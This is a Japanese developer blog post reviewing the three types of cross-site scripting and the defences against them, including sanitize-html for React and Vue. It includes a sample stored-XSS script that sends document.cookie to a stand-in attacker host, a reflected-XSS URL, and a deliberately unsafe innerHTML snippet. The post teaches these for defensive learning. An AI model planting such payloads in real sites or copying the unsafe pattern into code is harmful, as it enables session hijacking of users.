XSSおさらいする[セキュリティ攻撃]
背景
理解すると思っていたものの、この前急に「XSSって何?」と聞かれた時に100%正しいと思える回答ができませんでした。
そこで確実に定着させたいと思い、アウトプットすることにしました。(アウトプットすると定着率上がるよね)
XSSとは
Webアプリケーション内に悪意のあるスクリプトを埋め込む攻撃を指す。
攻撃対象のサイトにスクリプトを埋め込み、攻撃者が管理するサイトでセキュアな情報を抜き取ることで、サイトを跨ぐ(クロスサイト)を呼ばれている。
XSSはいくつか種類がある。
蓄積型XSS
どんな攻撃?
以下のようなケースを蓄積型という。
攻撃対象のサイトに悪意のあるスクリプトを埋め込んでおくので、蓄積っていうのかなという自分なりの理解。
スクリプト実行することで攻撃者が管理するサイトにセキュアな
掲示板サイトなど、ユーザーが投稿するサイトがあるとする。
悪意のあるユーザーが以下のようなコードを投稿し、それがDBに保存されてしまう。
<script>
document.location.href='http://hoge.com/getCookie?cookie=' + document.cookie;
</script>
ユーザーが投稿一覧取得画面にアクセスして、該当の悪意のあるコメントを取得すると、スクリプトが実行される。
悪意のあるユーザーが管理しているサイト( https://hoge.com/getCookieみたいなの )にアクセスすると、getCookieでcookieを抜き取流ような処理が書かれているので、そこで認証情報をとられる。
反射型XSS
クエリパラメータを使ったURLに、スクリプトを埋め込むパターン
https://hoge.com/search?keyword= aaa
のように、クエリパラメータに検索ワードを入れるパターン、よくありますよね。
ここに
https://hoge.com/search?keyword=<script>alert('攻撃したよ')</script>
のような感じで仕込むと、クエリパラメータにスクリプトが入っているので、それを使って処理をしてしまう可能性がある。
DOMベース型XSS
innerHTMLなどの機能を利用して攻撃する手法
URLのクエリパラメータから取得したものを、直接innerHTMLなどでDOMに入れ込むなどして攻撃する。
例えば、
https://hoge.com/search?html=<img src="url" alt="攻撃画像だよ" />
のようなURLがあったとする。
これを以下のようにして、DOMに表示していたら、悪意のあるスクリプト(今回だと<img src="url" alt="攻撃画像だよ" />)が表示されてしまう。
const searchParams = new URLSearchParams(window.location.search);
const html = decodeURIComponent(searchParams.get("html"));
document.getElementById("htmlValue").innerHTML = html;
対策
他にもいろいろありますが、以下のような対策があります。
- Cookieをhttponlyにする: Cookieをhttponlyにすることで、クライアントのJavaScriptかCookieを読み込めなくなる
- そもそも、スクリプトを埋め込めないようにエスケープする(入力フォームとか): スクリプトをエスケープして単純な文字列として保存する。(<を<にするなど) また、出力時もできたらより良いです。
- バリデーションする: 文字数制限をして一定文字数以上は保存できないようにするなど。
React/Vueだったら何をする?
最近はフレームワークがいい感じにやってくれているのでそんなに気にしなくてもできますが、わかりやすいのはreactのdangerouslySetInnerHTMLやvueのv-htmlを使う時でしょう。
これらは、JavaScriptのinnerHTMLと同じようなものです。
ただ、実装都合上、上記を使いたいタイミングがあります。(お知らせ投稿するなどのCMS系の実装で特にある)
しかしそのまま使うと、DOMベース型XSSのような攻撃の対象になりますので、対策が必要です。
ここでは、sanitize-htmlを使います。
機能としては、sanitizeを良しなにやってくれます。(<を<にするなどを自前実装しなくて済む)
またそれだけではなく、仕様上想定しないHTMLタグをそもそも排除してくれたりもします。例えば、videoタグを使わない場合はvideoタグ部分のコードを排除できるなど。そうすると不要なタグを受け付けなくなりますね。
まとめ
XSSは有名なセキュリティ攻撃で、エンジニア誰しも言語化できた方が良いと思います。
皆さんも自分なりにまとめてみると良いですよ!
Discussion